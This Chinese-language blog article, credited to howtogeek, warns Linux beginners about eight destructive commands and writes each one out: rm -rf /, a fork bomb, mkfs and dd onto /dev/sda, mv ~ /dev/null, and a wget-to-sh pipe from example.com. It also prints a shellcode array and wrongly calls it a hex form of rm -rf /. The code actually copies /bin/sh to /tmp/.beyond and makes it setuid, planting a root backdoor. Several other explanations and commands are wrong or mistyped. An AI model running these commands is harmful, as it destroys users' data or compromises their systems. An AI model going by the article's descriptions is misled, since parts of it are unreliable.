用家必須知道!8 個絕對不能亂碰的危險 Linux Command
雖然 Linux 具備 GUI 介面,但熟練的用家當然會使全 Command 介面直接打指令,但對於一般用家或是初學者來說,這些指令常常令人搞混亂,究竟這堆文字是代表著什麼呢?我們只好拿著 Cheat Sheet 一個一個學習。這次給大家介紹幾個 Linux 中需要注意的幾個指令,大家沒事不要亂來。
當然,大家也不要拿他們來惡作劇啊!
rm -rf / :把一切刪除
rm -rf / 應該是電腦工程師界的通常笑話,當有些東西需要「砍掉重練」的時侯總喜歡搬這句出來,究竟這是什麼意思呢? rm 大家應該用得比較多,就是 Remove (移除)的指令,而 -rf 就是反覆進行這個動作(更準備來說利用 recursive 運行 rm 指令),最後 / 就是電腦的根路徑,也就是最基本的位置,當這串指令運行的時侯 Linux 會將一切可能刪除的東西刪除。
但當然 rm -rf 亦有不同的用途,例如 rm -rf~ 會把「主頁」的檔案一次刪除,而 rm-rf.* 會把所有設定檔刪除,只是使用的時侯要小心一點,有幾次經典的主機災難都是因為工程師打錯了一串指令啊!
另類版本 rm -rf :令你防不勝防的「亂碼」
大家先來看看這一串程師碼:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
這是什麼?不可能一眼就看出來吧?這只是 hex 版本的 rm -rf / ,如果你嘗試在 Terminal 運作的話效果和 rm -rf / 完全相同,永遠不要運行一些古怪的指令也是工程師的常識。呃…最少先想清楚才運行吧!
:(){ :|: & };: :炸爆電腦資源的 folk bomb
:(){ :|: & };: 這串指令看起來很簡單,但這個 bash 指令其實極其危險。簡單來說這是像細菌一樣快速無限制複製自己,而複製指令將會以幾個級增長,用不著 1 分鐘就會把你的 CPU 及記憶體全部耗光,然後直接令電腦死機。
必須要小心 Bash 指令,即使它只是超短的一串,的確可以作出強大的「炸彈」。
mkfs.ext4 /dev/sda1:格式化硬碟
這串指令很容易讀懂,就是格式化你的第一個硬碟 sda1 ,而它有點像 Windows 上面的 C: ,運行這串指令會將你主機的首個記憶部份資料刪除,並用一個全新的系統去蓋過它。你亦可以改一改數字去運行不同的指令,例如 mkfs.ext3 /dev/sdb2 是利用硬碟第 2 個分割部份去取代第 3 個部份,當你運行一些關於 /dev/sd 的指令的時侯必須要小心,這是涉及系統本身部份。
command > /dev/sda:直接在硬碟寫入一些指令
正如上面所說,所有涉及 /dev/sda 都是直接在硬碟部份進行寫入,而當你運作一些「不知名」的指令時,有機會令硬碟損毀,這個行為對於大型系統來說是相當危險的,一不小心覆寫/刪除了重要的部份,花上「救命」的時間也相當可觀。
dd if=/dev/random of=/dev/sda:在硬碟寫入隨機垃圾
這同樣是上面的延續版,只是加入了寫入「垃圾數據」的指令,而這些沒有的資料會覆寫你原本的硬碟系統,對於要銷燬一個硬碟來說可能有用,但我還是會選擇 rm -rf/ 就是了。另外如果把它拆解開的話,dd 是一個多功能指令,它可以用於備份和回復,這次是採用了它的系統底層覆寫, if=/dev/random 就是利用隨機資料作為輸入 (input) ,最後 of=/dev/sda 就是指付輸出路徑,也就是硬碟本身了。
mv ~ /dev/null : 把你的主路徑的東西掉進去「黑洞」
/dev/null 是一個很特別的路徑,你可以想像它成為一個「黑洞」,當東西進去之後會變成什麼,到了哪裡?當然是絕對的毀滅。所以你只要輸入 mv ~ /dev/null 等於把所有個人資料(主路徑 home 的檔案)掉進去黑洞。
wget http://example.com/something -O – | sh : 下載再直接運行
這串指令相信新手也會熟悉, wget 是下載某些東西(這裡的例子是 http://example.com/something) ,| 用以隔開指令,而 sh 就是直接運行。這個看起來無害的指令其實是很危險,因為你是直接下載並執行某串指令/打開檔案,如果當中有惡意程式就直接中招了。
上面的 8 個指令人家又知道幾多個,有沒有更多 Linux 「死亡指令」可以分享?留言讓我們知道吧!
引用來源:howtogeek